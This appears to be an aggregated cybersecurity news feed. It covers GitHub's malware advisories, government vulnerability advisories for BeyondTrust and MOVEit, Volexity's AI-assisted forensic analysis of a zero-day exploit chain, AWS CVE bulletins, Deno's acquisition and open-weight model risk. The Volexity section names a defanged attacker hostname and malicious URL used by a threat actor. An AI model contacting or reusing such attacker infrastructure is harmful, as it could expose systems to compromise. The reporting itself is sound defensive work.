Thank you to hackerone.com/moamenmahmood for reporting this issue.

Read it at the source



Case Study: GitHub Expands Malware Advisories Across Eight Ecosystems with OpenSSF

OpenSSF · Oct 16, 7:06 PM UTC


	
		
			
				

	What did GitHub achieve with OpenSSF?

GitHub integrated OpenSSF’s malicious-packages data into its Advisory Database, expanding malware advisories from npm to eight package ecosystems: npm, PyPI, Maven, RubyGems, NuGet, Go, crates.io, and PHP Composer. 

What challenge did GitHub need to solve?

GitHub’s malware advisory pipeline previously focused on npm. Expanding its existing detection capabilities across eight ecosystems would have taken years, according to Ankit Kumar Honey, Senior Engineering Manager, leading the Dependabot team in the Supply Chain Security.

Why does broader malware coverage matter?

Malicious packages can steal credentials in both developer environments and build systems. In a related GitHub talk about npm supply chain attacks, Zach Steindler explains how attackers can use malicious installation scripts to steal credentials, then use those credentials to compromise additional packages. This cycle allows an attack to spread quickly, underscoring the importance of making malware information available across ecosystems.

What role did OpenSSF play?

OpenSSF’s Malicious Packages repository is a public, community-driven database of malicious package reports in the Open Source Vulnerability (OSV) format. It launched in October 2023  and now holds more than 238,000 reports, including thousands for ecosystems beyond npm such as PyPI, RubyGems, and NuGet.

Security teams and researchers supply reports through automated feeds and community submissions. Contributors include Amazon Inspector, ReversingLabs, Checkmarx, Google, GitHub, and OpenSSF’s own Package Analysis project.

GitHub has contributed from the start. Its malware data was one of the repository’s three original sources, and more than 28,000 reports now list GitHub as a source.

“OpenSSF has already solved the aggregation problem for everybody,” Ankit Kumar Honey wrote.

How did GitHub integrate the data safely?

GitHub built an importer to validate reports, normalize records, handle withdrawn advisories, and avoid reimporting its own contributions. Safeguards include limits on import batches, traceability to upstream commits, and batch rollback capabilities. 

What does this mean for developers using Dependabot?

With malware alerting enabled, Dependabot checks dependencies against the expanded advisory collection and alerts developers when it finds a match. This makes OpenSSF’s community malware data actionable within existing development workflows.

Users who already enabled malware alerts receive the expanded coverage without additional configuration. New advisories can generate alerts as they are published. Developers can also explore malware reports directly in the GitHub Advisory Database using the type:malware filter. 

How does OpenSSF support collaboration across package repositories?

The malware advisory integration is one example of shared security work across ecosystems. In the related talk, GitHub describes collaborating through OpenSSF’s Securing Software Repositories Working Group to exchange information with other package repository operators about attack techniques and security capabilities.

Beyond sharing malware reports, OpenSSF also supports collaboration to prevent package compromise.

A great example of this is how trusted publishing was initially deployed by PyPI, which then wrote up implementation guidance with Trusted Publishing for all Package Repositories, published on the Securing Software Repositories Working Group website. This guidance led to the implementation of trusted publishing not only in npm, which GitHub operates, but also Rust Crates, RubyGems, NuGet, and others. Trusted publishing removes the need for long-lived publishing credentials in build pipelines. Together, these examples illustrate how sharing knowledge and infrastructure can help package ecosystems strengthen their defenses.

How can developers enable malware alerts?

Malware alerts are opt-in and available for any repository with Dependabot alerts turned on. For a single repository, turn on Dependabot alerts and then Dependabot malware alerts in its security settings. Organisations and enterprises can roll them out with security configurations. See Configuring Dependabot malware alerts.

Once enabled, Dependabot checks dependencies against existing malware advisories straight away and alerts on new matches as advisories are published. Teams with internal packages that share a name with a malicious public package can reduce false positives with Dependabot auto-triage rules.

Where can readers learn more?

Read GitHub’s original article, “How we took malware advisories beyond npm,” written by Ankit Kumar Honey, for the engineering details, or see the launch announcement for an overview of the expanded coverage.

For broader context, watch Zach Steindler’s talk Supply Chain Attacks on Open Source: What’s Happening, What Can We Do Today, and What’s Next on npm supply chain attacks, including its discussion of collaboration through OpenSSF, trusted publishing, and layered defenses.
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BMC Helix security advisory (AV26-1059)

Canadian Centre for Cyber Security · Oct 16, 6:45 PM UTC


  
    

      
  
  
    

      
            Serial Number: AV26-1059
Date: October 16, 2026


As of October 15, 2026, BMC Helix is affected by a vulnerability in the following product:


	BMC Helix Network Management
		Prior to 26.3.01



The Cyber Centre encourages users and administrators to review the provided web links and apply any necessary updates as they become available.


	BMC Helix Network Management 26.3.01 On-prem Release Notes
	BMC Helix On-prem Release Notes


      
  
Read it at the source



BeyondTrust security advisory (AV26-1054) – Update 1

Canadian Centre for Cyber Security · Oct 16, 6:27 PM UTC


  
    

      
  
  
    

      
            Serial number: AV26-1054
Date: October 16, 2026
Updated: October 16, 2026


As of October 15, 2026, BeyondTrust is affected by a vulnerability in the following product:


	Remote Support
		Prior to or equal to 26.2.3



Open-source reporting indicates that CVE-2026-102764 is being exploited in the wild.


Update 1


On October 16, 2026, Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2026-102764 to their Known Exploited Vulnerabilities (KEV) Database.


The Cyber Centre encourages users and administrators to review the provided web links and apply any necessary updates as they become available.


	ARMORY CASTLE and BT26-05: What Security Teams Need to Know | BeyondTrust
	Security Advisories | BeyondTrust
	CISA KEV: CVE-2026-102764


      
  
Read it at the source



Mind the (Patch) Gap , Part 3: Analysis with Volexity Volcano, Threat Intel, and MCP

Volexity · Oct 16, 6:27 PM UTC




					


















Last month, Volexity published two blog posts in its Mind the (Patch) Gap series. The series details Volexity’s discovery of multiple Chinese threat actors simultaneously using zero-day exploits in Google Chrome and Microsoft Windows in campaigns that, if successful, would download and run malware on an exploited system. Those posts covered technical details of the exploits and malware Volexity observed, along with general detection methods for each case. Behind those findings was one of the most advanced tools in Volexity’s arsenal: Volexity Volcano.

Volexity Volcano provides rapid response capabilities and advanced detections across Windows, Linux, and macOS endpoints at enterprise scale. Recent releases integrate with Volexity’s Cyber Threat Intelligence feed for actionable, high-fidelity indicators of compromise (IOCs), and now include a game-changing MCP (Model Context Protocol) server for AI-assisted incident response, threat hunting, and digital forensics. Combined with Volcano’s unrivaled memory, file, and registry forensics, these features expedite investigations like those described in Part 1 and Part 2 of the blog series.

In this third installment of the series, Volexity takes a closer look at Volcano and the features that made that work possible.

Surge Collect Pro Acquisition

To demonstrate, Volexity researchers compromised a virtual machine (VM) with the same zero-day exploit chain and payloads used by UTA0560 as described in Part 1. After accessing and interacting with the VM, attackers realized the environment was monitored and attempted to clean up and cover their tracks. Volcano’s memory and file acquisition counterpart, Surge Collect Pro, was then used to capture the system’s memory (RAM), system and user registry hives, event logs, USN journal ($UsnJournal), master file table ($MFT), and other key forensic artifacts that Volcano incorporates into its analysis. The data collected by Surge Collect Pro was processed by Volcano, enabling reconstruction of attacker activity and analysis of related artifacts. The sections that follow detail the analysis and findings.

Threat Intelligence Feeds

Volcano ships with powerful IOCs that automatically bring suspicious artifacts to the analyst’s attention. Out of the box, these IOCs nailed the memory-only components, including reflectively loaded DLLs and position-independent shellcode in chrome.exe. They also triggered on the persistence mechanism and anomalies related to system privileges and invalid parent/child process relationships.

Volcano’s Volexity Threat Intel indicator complements the built-in IOCs with real-time lookups of malicious IP addresses, DNS names, and YARA rules from Volexity’s Cyber Threat Intelligence feeds. Volcano users that subscribe to these feeds benefit from advance notice of attacker infrastructure and thorough alerting across all evidence supplied to Volcano. In the example below, the malicious hostname cloud.shinewrist[.]net was detected in event logs and from the command line of the command shells and curl processes.


Initial Triage with Volcano’s MCP

Since its inception, Volcano was designed to save time by automating analyses, including collection import, memory profile identification, artifact extraction, and IOC scanning. It exposes powerful REST APIs, an OpenAPI specification, and a Python3 SDK for effortless integration with third-party applications and services. With the introduction of Volcano’s new MCP server, this already rapid process reaches new levels of efficiency and automation. AI-assisted investigations also make memory forensics technology more accessible to traditional forensic analysts, SOC operators, and other information security personnel.

In the following examples, Volexity analysts used OpenAI’s Codex client with GPT-6.1-Sol to connect to Volcano’s MCP. Other models (public and local) are viable, but your mileage may vary depending on the strength of the model.

Prompt: Read https://www.volexity.com/blog/2026/09/09/mind-the-patch-gap-multiple-chinese-threat-actors-chain-0-day-exploits-in-chrome-windows/. Then find the Chrome Exploit sample on Volcano. Are the "First Page Thread" IOC hits related to the 0-day? Be concise but specific - go deep if needed (read data and disassemble/analyze shellcode).

The affirmative response is below, in sufficient but not excruciating detail:


This initial triage also performed some highly technical work, which historically may have required a small team of seasoned forensic analysts and reverse engineers.

Deeper Triage and Auto-Annotations

The next example leverages MCP to automatically apply annotations (labels and notes) to artifacts in Volcano that match criteria specified in Volexity’s blog posts. While this feature was designed for real-time collaboration among users, it can extend to a team of AI agents as well.

Prompt: What other artifacts related to UTA0560 and GRIMWEDGE can you find in the sample? Create new labels prefixed with codex-* (such as codex-UTA0560) and apply them to artifacts along with brief notes to explain their role/significance. There could be hundreds or thousands, so focus on representative artifacts and unique evidence types - especially memory-only and volatile ones.

Here is a summary of the output:


As shown below, Volcano’s Alerts tab grouped by labels is now concentrated with context about state of the compromised machine:


Analysts can pivot from an alert to the respective tab that exposes complete details about the artifact, such as timestamps, associated usernames, and other attributes.

Breadth & Future Coverage with IOC Creation

Volcano can go deep: it has full access to physical memory, including process working sets, kernel space, and free/deallocated pages for tracking historical activity. However, this system was confirmed compromised long ago; now it’s a game of breadth and future detection. What other systems are affected? Volexity’s Network Security Monitoring can answer this in a heartbeat, but Volcano also plays a critical role, especially for host-based indicators. Volcano’s IOCs query over 300 artifact types in addition to matching strings, regular expressions, and YARA rules throughout RAM.

Prompt: Leveraging data from the blog and artifacts you found in the sample, create IOC(s) on Volcano for UTA0560, GRIMWEDGE and JungleBamboo so future evidence will be annotated automatically. For UTA0560 and GRIMWEDGE, use the labels you created before. Create a new label for JungleBamboo. In addition to query-based IOCs, create string- and YARA-based IOCs if appropriate. Volexity published additional indicators at https://github.com/volexity/threat-intel/tree/main/2026/2026-09-09%20Chrome.

Here is a summary of the work:


Volcano’s IOC repository is now extended to help cover these new artifacts, although only a subset of the new rules appears below. While most of them are Windows-only, since Windows is the primary target platform, generic infrastructure-based IOCs are also configured to alert on Linux and macOS evidence.


Re-running IOCs against the sample reveals many additional artifacts, not just a representative sampling as requested earlier in these demonstrations. The GRIMWEDGE-encoded JavaScript is among these new artifacts, as shown below. The highly volatile proof was found in free memory (aka “slack space”), which is inaccessible to standard endpoint detection & response (EDR) or antivirus solutions, and nearly impossible for threat actors to erase without causing system instability or raising additional red flags.


Agentic Sampling with Volcano Endpoint

Based on Surge Collect Pro technology, Volcano Endpoint is a cross-platform, persistent agent that streams to Volcano Server on demand. Emerging MCP tools expose template creation (what evidence to collect), endpoint management, and collection scheduling. For the purposes of this next demonstration, an endpoint group with one Windows Server was created on Volcano. Then, its Microsoft Edge browser was seeded with hxxps://cloud.shinewrist[.]net/foo/Files1.html to trigger one of the new IOCs.

Prompt: Create a new template that collects only registry hives and browser history files (copy the existing Browsers template) from Windows systems. Then schedule a collection (for now) using that template for all hosts in the Windows Servers endpoint group. Wait for the analyses to complete for up to 5 minutes. If any of the codex-* IOCs trigger, then schedule another collection including all files from the Browser + DFIR-Files templates plus memory.

Here is the Codex console output:


As shown below, Volcano’s web interface displays metadata from the two scheduled collections. The smaller-scoped initial file triage took only a couple seconds; this was intended to be a quick sampling to determine hosts worthy of follow up. Since an IOC triggered, the subsequent collection containing memory and many other files was scheduled.


Rather than closing the loop after the memory collection, a subsequent IOC scan could ensue, with new IOCs identified automatically and more rounds of threat detection and alerting.

Conclusion

When paired with Volexity’s Threat Intelligence feeds and AI models via MCP, Volcano becomes an even more powerful weapon in the defender’s toolset. The workflows previewed in this blog post represent a fraction of existing and established capabilities, with many more emerging in the next releases.
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If you are interested in learning more about Volexity’s services, including Threat Intelligence, Network Security Monitoring and Incident Response, or our leading memory forensics solutions, Volexity Surge Collect Pro for memory acquisition and Volexity Volcano for memory analysis, please do not hesitate to contact us.






							KEY TAKEAWAYS						


	Volexity Volcano was one of the most advanced tools behind Volexity’s investigations into Chinese threat actors exploiting Chrome and Windows zero-days, as detailed in Part 1 and Part 2 of this series.
	Volcano’s built-in IOCs automatically flagged the memory-only components of UTA0560’s exploit chain.
	Volexity’s Cyber Threat Intelligence feeds provided real-time detection of malicious infrastructure across all evidence in Volcano.
	Volcano recovered GRIMWEDGE-encoded JavaScript from the ‘slack space’ in free/deallocated memory.
	Volcano’s new MCP server accelerates memory analysis by enabling AI-assisted triage, artifact annotation, IOC creation, and endpoint collection scheduling.
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The post Mind the (Patch) Gap , Part 3: Analysis with Volexity Volcano, Threat Intel, and MCP appeared first on Volexity.

Read it at the source



CISA Adds Two Known Exploited Vulnerabilities to Catalog

CISA · Oct 16, 5:55 PM UTC

CISA Adds Two Known Exploited Vulnerabilities to Catalog ggaylor Oct 16, 2026 Release Date October 16, 2026 Description CISA has added two new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation. CVE-2025-61624 Fortinet M…

The full piece, at the source



Progress security advisory (AV26-1058)

Canadian Centre for Cyber Security · Oct 16, 5:50 PM UTC


  
    

      
  
  
    

      
            Serial Number: AV26-1058
Date: October 16, 2026


As of October 14, 2026, Progress is affected by vulnerabilities in the following product:


	MOVEit Transfer
		Prior to 2025.1.6
	Prior to 2026.0.4



The Cyber Centre encourages users and administrators to review the provided web links and apply any necessary updates as they become available.


	MOVEit Transfer Critical Security Bulletin - September 2026
	Progress Trust Center


      
  
Read it at the source



Top 5 Initial Access Threat Vectors Observed by Unit 42 in September 2026

Unit 42 · Oct 16, 5:47 PM UTC

Unit 42 details the top initial access vectors adversaries use to breach organizations, led by edge exploits, credential abuse and phishing The post Top 5 Initial Access Threat Vectors Observed by Unit 42 in September 2026 appeared first on Unit 42.

The full piece, at the source



CVE-2026-16756 - Allocation of resources without limits in the default aws-smithy-http-server serve() path allows unauthenticated Slowloris denial of service

AWS Security Bulletins · Oct 16, 5:37 PM UTC


The full piece, at the source



Incomplete fix for CVE-2025-4318 code injection in Amazon &commat;aws-amplify/codegen-ui-react

AWS Security Bulletins · Oct 16, 5:37 PM UTC


The full piece, at the source



CVE-2026-16317 and CVE-2026-16318: Issues with s2n-tls: an open-source implementation of the TLS/SSL protocols

AWS Security Bulletins · Oct 16, 5:37 PM UTC


The full piece, at the source



CVE-2026-18394 - Incorrect authorization in Strands Agents Tools http_request tool

AWS Security Bulletins · Oct 16, 5:37 PM UTC


The full piece, at the source



CVE-2026-18140 - Uncontrolled recursion in the aws-smithy-json unknown-key skip path allows unauthenticated remote denial of service in smithy-rs generated servers

AWS Security Bulletins · Oct 16, 5:37 PM UTC


The full piece, at the source



Deno Goes the Way of the Dinosaur

Socket · Oct 16, 4:49 PM UTC

Cloudflare is acquiring Deno’s team, but the deal comes with an unwelcome surprise for developers who built on its JavaScript and TypeScript runtime: the company is winding down development, leaving the community to work out how to keep it going.
Ryan Dahl, creator of both Node.js and Deno, announced on October 9 that the entire team is joining Cloudflare. Deno will receive another year of monthly bug fixes and security updates before the team ends its development work. Deno Deploy will shut down in six months, with migration assistance for paying customers moving to Cloudflare Workers. 
The runtime won fans by taking much of the setup out of TypeScript development, with formatting, linting, and testing built in. Its security model also let developers decide what their code could access, restricting files, networks, and environment variables by default.
The news has prompted developers to question the decision, revisit the risks of building on venture-backed open source, and start organizing forks. Some would prefer to keep Deno intact under independent stewardship. Others are ready to take the code in a different direction.
The acquisition arrives less than a year and a half after Dahl published “Reports of Deno’s Demise Have Been Greatly Exaggerated,” addressing concerns about the company’s direction and momentum. At the time, he reported that adoption had more than doubled since Deno 2 and assured users: “We’re not winding down. We’re winding up.”
For some developers who trusted those assurances, being invited to maintain the runtime themselves while the company moves on is a bitter pill to swallow. “I invested a lot and use deno everywhere. Can't trust anything these days,” one Hacker news commenter wrote, before proposing a community fork.
Another commenter said they felt “very misled” by the acquisition messaging promoting “Deno + Cloudflare” while revealing at the bottom of the post that development of the runtime would end.
Others questioned what businesses should expect from software they use for free, with some participants pushing back on the complaints:
This is just normal open source. The software is provided AS IS, WITHOUT ANY WARRANTY.
As a community we've gotten so used to getting things for free and then getting mad when they go away. That's a fine attitude if it's your hobby dependency, but if you're making $100k off that dependency what did you actually expect?

  Cloudflare is expanding self-hosting for Workers and Durable Objects
  #

The project that brought the companies together is celld, an open source implementation of the Workers and Durable Objects programming model designed to run on developers’ own infrastructure.
Celld combines JavaScript execution and persistent state in individually addressable objects, each backed by SQLite. Those objects can be distributed across machines, with shared object storage holding their durable data. The aim is to make building and operating a distributed application require far less infrastructure assembly.
On October 1, eight days before the acquisition announcement, Dahl argued that celld would largely displace traditional JavaScript runtimes for serving applications:
once you see it, you'll realize there's no point to traditional javascript runtimes in serving applications - only for build processes (eg bundling) and scripting.
In the joint Cloudflare announcement, Dahl described how operating Deno Deploy had exposed him to the complexity underneath an apparently simple hosting service: multiple clouds, databases, and interconnected services. Celld grew out of his desire to simplify that machinery.

  

Cloudflare had a gap that celld could fill. Its open source Workers runtime, workerd, supported Durable Objects on a single instance, but lacked the distributed implementation needed for scalable self-hosting. Cloudflare’s production implementation depended on infrastructure that self-hosters would not have.
Kenton Varda acknowledged that releasing workerd and hoping the community would build the surrounding ecosystem had not been enough. “Perhaps we were naive,” he wrote.
When Deno released celld in August, Cloudflare saw a team working on something it had wanted to build. Dahl and Deno co-founder Bert Belder will now lead an effort to merge celld’s code and ideas into workerd and make self-hosting a supported way to run Workers applications.
Other pieces of Deno’s work will continue. JSR will remain operational, with its infrastructure moving to Cloudflare. The team will keep supporting rusty_v8 and work toward integrating it into workerd. Its attention, however, is moving away from maintaining a separate general-purpose runtime and hosting service.

  Developers are forking Deno to keep it alive
  #

Over on Hacker News, someone asked the burning question: was abandoning the runtime Cloudflare’s idea or Deno’s?
In his response, Dahl indicated that he had come to see Deno as a lot of engineering in service of too small a problem.
"It's a joint decision and I agree with it," he said. "I'm most invested in its success and have put the most work into it - and I no longer think it's where I can do the most important work."
After years of making the case for a better JavaScript runtime, Dahl was no longer convinced its advantages justified the work:
There are some good ideas in Deno and it's well engineered - but it ultimately is not solving big problems. It has been sucked into the gravity well of node compatibility, which forces it to behave exactly as Node does. Why reimplement Node? It works. Marginal performance or UX or security benefits are not enough.
He was considerably more enthusiastic about celld:
I'm interested in building powerful new abstractions. celld has been working remarkably well, depending only on object storage for coordination and persistence. It is not just a slightly different API to interact with the file system or network - it's an entirely new model for server development.
For those still interested in the runtime he was leaving behind, the invitation was brief:
We'll ship monthly releases for a year, and Deno stays MIT-licensed. If people want to carry it forward, I'd like that.
Developer Paul Webb, who uses Deno for his APIs and personal projects, was less sympathetic to Dahl’s change of interests:
My brother in Christ. YOU reimplemented Node and now you’re bored? I get it was done for adoption purposes but like, that’s a solvable problem? Whatever, this ain’t my first rodeo.
The compatibility argument is particularly striking given how Deno had previously described its progress. In the May 2025 post defending the project, Dahl credited Node compatibility with removing a major adoption barrier and opening Deno to more serious use cases. The feature that helped bring developers aboard had become part of the explanation for why its creator wanted to move on.
Webb’s response is to remove it. His announced fork, Ende, would drop Node compatibility and cut features he considers distractions, including Deploy, KV, and Jupyter integration. The proposed roadmap includes per-module permissions, sandboxes for untrusted code, post-quantum cryptography in Web Crypto, and improvements to compiled binaries.
Webb is also building a business on Deno, so he has a stake in keeping the runtime alive.
Another community fork, Dodo, is starting with the difficulty of contributing to the existing codebase. Its maintainers point to core components spread across separate repositories, requiring changes to be merged and released in several places before the runtime can use them. Their first goal is to bring those components together so a change can be made and reviewed in a single pull request.
Dodo is still at an early stage. Its README says there are no Dodo releases yet, and its installation commands still install upstream Deno. Running the fork currently requires building it from source.
These efforts already suggest different ideas about what Deno should become: a more focused runtime freed from Node compatibility, or a project reorganized to make outside maintenance easier.

  Developers want a handoff they can build on
  #

There is also interest in preserving Deno itself, without requiring its users and contributors to choose among successors.
A joke GitHub issue lamenting Deno’s fate drew serious responses from developers who had built their projects around the runtime. One commenter, marvinpeter95, said their web application depended on Deno and Fresh, and that persuading their employer to adopt Deno had taken considerable convincing.
Another commenter, rapidbott-cloud, said their team had planned to launch an AI chatbot and automation platform that month:
Our entire backend is built on the Deno runtime and infrastructure, and this sudden announcement has put us in a very difficult position. We've now had to postpone our product launch and start planning a migration away from Deno.
An October 15 update clarified that the team will publish monthly Deno 2.9.x LTS releases through October 2027, triage security reports, and review bug fixes. New feature work is stopping. Feature pull requests will be closed without merging, and features added to canary builds after the 2.9 branch was cut will be reverted.
The update also said the team was considering ways to organize development beyond October 2027.
Contributors proposed a dedicated foundation or an existing organization such as the OpenJS Foundation. One organizer reported that a community server had attracted more than 100 active members in 48 hours. Although the group was coordinating a fork, the organizer said, “we would much prefer Deno itself be officially passed on to a reputable steward organization.”
Developer Brett Chalupa argued that the company should help organize the transition, proposing public discussions toward a Deno Foundation with open governance.
Ryan Dahl didn't need to have the answers, but I sure do wish there was more of an openness to the future of the Deno project than "If people want to carry it forward, I'd like that."
Deno’s company was originally created to supply exactly that continuity. When Dahl and Belder announced its $4.9 million seed funding in 2021, they described a staff of full-time engineers who would address issues, fix bugs, and ship timely releases. They promised to “ensure Deno is a platform others can build on with trust.” A $21 million Series A followed in 2022.
The result was a runtime with users invested enough to contemplate maintaining it themselves. That is an achievement for an open source project, even if it did not produce a business the company wanted to keep operating.

  AI is rewriting the future of JavaScript runtimes
  #

Deno’s acquisition also invites an obvious comparison with Bun, the other prominent Node.js alternative that found a buyer.
When Anthropic acquired Bun in December 2025, creator Jarred Sumner said the project had no revenue. The expected business model had been to build a cloud hosting product around its runtime and bundler. AI coding tools offered another route.
Bun’s standalone executables had made it useful for distributing command-line tools, including Claude Code. Anthropic acquired a runtime its own product depended on, and the announcement committed to continued public development, the same team, and continued work on Node.js compatibility.
Chalupa described that outcome with considerably less corporate polish in The Disappointing Death of Deno:
Bun succeeded in the mission of making rich people richer by building an open source JavaScript runtime. One investment dollar likely turned into many more.
Deno also had technology relevant to a world where agents generate and execute code. But the availability of a new market does not guarantee that an existing company can build a sufficiently large business around it.
“Despite Deno being primed for this major shift in how software is developed, the stars didn’t align,” Chalupa wrote.
He pointed to the time required to create a commercial product capable of sustaining the company and wondered whether its newer projects had also helped attract a buyer:
Building a commercially successful software product that can grow in revenue at the order needed by the Deno company takes at least six months, if not years, even with LLMs generating the code. Building wildly financially successful software products is hard. Acquisition seemed the only option, and maybe these efforts were bait on the fishing line to find a suitable buyer? Building and releasing open source tools and libraries doesn’t seem like an obvious path to making money or an acquisition. But Silicon Valley is a strange place...
His comparison captures some of the indignation surrounding Deno’s exit: years of investment and open source development ending in an acquihire, “while the upstart competition that’s arguably not any better gets bought by one of the largest AI companies.”
AI is also changing the work inside these projects. In Bun’s acquisition announcement, Sumner said a Claude Code bot had become the GitHub account with the most merged pull requests in the repository over the preceding several months. It was helping fix bugs, supplying tests, and responding to review comments. The runtime was supporting AI coding tools while those tools increasingly helped develop the runtime.
For Dahl, the opportunity now lies in the infrastructure that agents need. He made that motivation explicit in Deno’s announcement:
The need for better abstractions is especially acute with AI. Durable Objects bring together capabilities that are particularly useful for agent harnesses: inexpensive, serverless execution, persistent state, WebSockets, and a high-level JavaScript interface. This is what I’m most excited to explore and why celld focuses on Durable Objects.
AI’s headlong advance is reaching into the foundations of software development. All that generated code still needs somewhere to run. Agents need persistent state, coordination, and inexpensive execution at scale. These demands are drawing runtime teams into problems far beyond making JavaScript faster or TypeScript easier to use. AI tools are actively building the machinery they depend on, accelerating the work while changing its direction.
Bun has found a place in that machinery. Dahl wants to redesign more of it. The competition that once revolved around improving on Node.js is being pulled into the much larger race to build and operate software through agents. In the rush to build for AI, even a cutting-edge JavaScript runtime can be left behind by the people who spent years persuading developers to trust it.
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AL26-025 - Critical vulnerability impacting BeyondTrust Remote Support – CVE-2026-102764

Canadian Centre for Cyber Security · Oct 16, 4:34 PM UTC


  
    

      
  
  
    

      
            Number: AL26-025
Date: October 16, 2026


Audience


This Alert is intended for IT professionals and managers.


Purpose


An Alert is used to raise awareness of a recently identified cyber threat that may impact cyber information assets, and to provide additional detection and mitigation advice to recipients. The Canadian Centre for Cyber Security ("Cyber Centre") is also available to provide additional assistance regarding the content of this Alert to recipients as requested.


Details


The Canadian Centre for Cyber Security (Cyber Centre) is aware of a critical vulnerability affecting BeyondTrust Remote Support (RS)Footnote 1Footnote 2. In response to the vendor advisory released on October 15, 2026, the Cyber Centre released AV26-1054 on October 16, 2026Footnote 3.


Tracked as CVE-2026-102764Footnote 4, this vulnerability is an Authentication Bypass by Spoofing vulnerability (CWE-290)Footnote 5 that affects all versions of BeyondTrust Remote Support.


Successful exploitation of this vulnerability may allow a remote, unauthenticated attacker to exploit insufficient origin validation in internal BeyondTrust Remote Support messaging components to perform unauthorized file operations on an affected appliance without user interaction. The vulnerability requires no credentials or user action and can enable arbitrary file uploads, potentially resulting in full compromise of the appliance.


The Cyber Centre has observed open-source reporting indicating that the vulnerability is being exploited in the wildFootnote 6.


Suggested actions


The Cyber Centre strongly recommends that organizations running affected BeyondTrust Remote Support deployments upgrade to the following fixed version:



	Affected product	Affected versions	Fixed versions
	BeyondTrust Remote Support	Versions 26.2.3 and prior	BT26-05-RS patch for versions 24.3.1 to v26.2.3



BeyondTrust has confirmed that a patch addressing this vulnerability was applied to all Remote Support SaaS and Privileged Remote Access SaaS customers as of 9 October 2026. Organizations using these SaaS offerings do not need to take any additional action to remediate this issue.


The Cyber Centre also recommends organizations to:


	identify BeyondTrust Remote Support deployments within their environments and determine whether they are SaaS-hosted or self-hosted
	verify the installed Remote Support version. Systems running 26.2.3 or earlier are identified as affected by BeyondTrust
	upgrade Remote Support installations older than 24.3.1 to a newer supported version before applying the remediation patch
	apply the BT26-05-RS patch to affected self-hosted Remote Support deployments running versions 24.3.1 through 26.2.3
	confirm automatic updates are enabled, where appropriate. BeyondTrust specifically advises manual patching for self-hosted instances that are not subscribed to automatic updates
	as an additional defensive measure, review affected appliances for unexpected or unauthorized file activity, particularly when an appliance was exposed while vulnerable

In addition, the Cyber Centre strongly recommends that organizations review and implement the Cyber Centre’s Top 10 IT Security ActionsFootnote 7 with an emphasis on the following topics:


	consolidating, monitoring, and defending Internet gateways
	patch operating systems and applications
	harden operating systems and applications
	isolate web-facing applications

Should activity matching the content of this alert be discovered, recipients are encouraged to report via My Cyber Portal, or email contact@cyber.gc.ca.
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Infinity Core: Linux Kernel Core LPEs

oss-security (Openwall) · Oct 16, 4:06 PM UTC

Posted by Hyunwoo Kim on Oct 16 Hi, The embargo agreed with the linux-distros () vs openwall org maintainers has expired, so I am posting this report. This is a report on "Infinity Core", a collection of 6 vulnerabilities found in the Timer, Signal, MM, Futex, Scheduler…
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Managing open-weight model risk in enterprise deployments

Microsoft Security · Oct 16, 4:00 PM UTC

The growing AI landscape is giving enterprises more choice in how they build, customize, and deploy increasingly capable models. Open-weight models are an important part of that landscape. They give enterprises access to model weights and greater flexibility to inspect, evaluate, modify, and run models within their own environments.
While that flexibility can be valuable, it also affects how enterprises evaluate models, where they implement safeguards, and who is responsible for maintaining those safeguards over time. 
As enterprises choose which models to deploy, the relevant question is broader than whether a model is open-weight or closed-weight. Enterprises need to understand what they are using the model for, what could go wrong in that context, and what evidence and controls they need to manage risks. 
Today, Microsoft and NVIDIA are publishing Risk Management for Open-Weight Models in Enterprise, the first in a planned series of joint resources intended to help enterprises address those questions. The paper introduces a shared risk taxonomy and an approach to managing model risks grounded in established standards and frameworks, including International Organization for Standardization (ISO) standards and the National Institute of Standards and Technology (NIST) AI Risk Management Framework.  
The paper reflects a core idea: weight openness alone does not determine an AI system’s risk. Risk depends on the model, use case, deployment, and safeguards.

Read the whitepaper: Risk Management for Open-Weight Models in Enterprise
Understanding risk in the deployment context 
Open- and closed-weight models can share many of the same underlying risks, but how those risks materialize depends on the deployment. A model used to help an employee draft a document presents different considerations than the same model used in a customer-facing workflow, just as a standalone inference endpoint differs from a system connected to external data or tools. 
The architecture matters too. A risk may originate in the model, while the most effective control may sit in the inference environment, application, or surrounding operational processes. The joint guidance looks beyond the model label to factors including provenance, intended use, users, deployment conditions, and surrounding controls. This first paper focuses primarily on model-layer risks. Evaluating a model alone does not establish the safety of an agent or application: teams must also assess its permissions, data access, tools, runtime, and operational controls.
Establishing a common language 
Managing these risks consistently also requires a common vocabulary across engineering, security, legal, safety, and business teams. 
The initial Microsoft and NVIDIA taxonomy organizes risks into five broad categories: Cybersecurity, Data Protection, Content, Human-AI Interaction, and Bias. It is not a policy or deployment checklist, but instead it should be used by enterprises to adapt it to their own systems, use cases, and risk criteria, then connect relevant risks to evaluations, mitigations, and accountable owners.  
Using evaluations as risk evidence 
Evaluations help turn the taxonomy into something enterprises can use. The paper maps evaluations to a selection of risks across the five categories, giving teams a way to start with a risk that matters for their deployment and identify evaluations that can produce relevant evidence about it.
Microsoft Foundry helps enterprises assess quality, groundedness, and safety with built-in and custom evaluations and automated red teaming. Its configurable content-safety controls help detect and mitigate harmful inputs and outputs and prompt attacks. Teams should validate control availability for their model and deployment, including preview status, and combine these capabilities with application-specific testing, monitoring, and human oversight.
Evaluations still need to be interpreted in the context of a particular deployment and the goal is to make it easier for teams to connect the risks they identify with useful evidence, while building a broader set of evaluation resources that can evolve alongside models, deployment patterns, and emerging risks. Microsoft and NVIDIA plan to use the joint repository to share additional evaluations and point to existing resources that can help enterprises assess specific risks.
Accounting for changes in control and responsibility 
Open-weight access gives enterprises greater control over how a model is evaluated, modified, and deployed. Model access and deployment are separate choices: open-weight models can also be used through managed platforms. Responsibility for safeguards depends on the service and deployment configuration; enterprises that operate their own model deployments may take on controls otherwise provided by a managed service.
Those safeguards can operate at different layers, and (depending on the risk) enterprises might use model changes, access controls, input and output filtering, monitoring, or human review. The important step is connecting each identified risk to controls that can effectively address it within the deployed system. Those decisions need to be revisited as models and deployments change.
Building on this work 
Risk Management for Open-Weight Models in Enterprise focuses primarily on the model layer. Future work from Microsoft and NVIDIA is intended to extend this approach across the runtime, harness, and application layers, with additional technical guidance on evaluation and mitigation.  
We also expect the resources supporting this work to evolve as new models, evaluations, and deployment patterns emerge. The joint repository will provide a place to share additional evaluation resources, including contributions from the broader community.
For enterprises deploying open-weight models today, the paper provides guidance they can begin applying to their own use cases. We encourage developers, security practitioners, researchers, and others working in this space to read the paper, explore the evaluations, and contribute evaluations that can help strengthen this shared body of work.
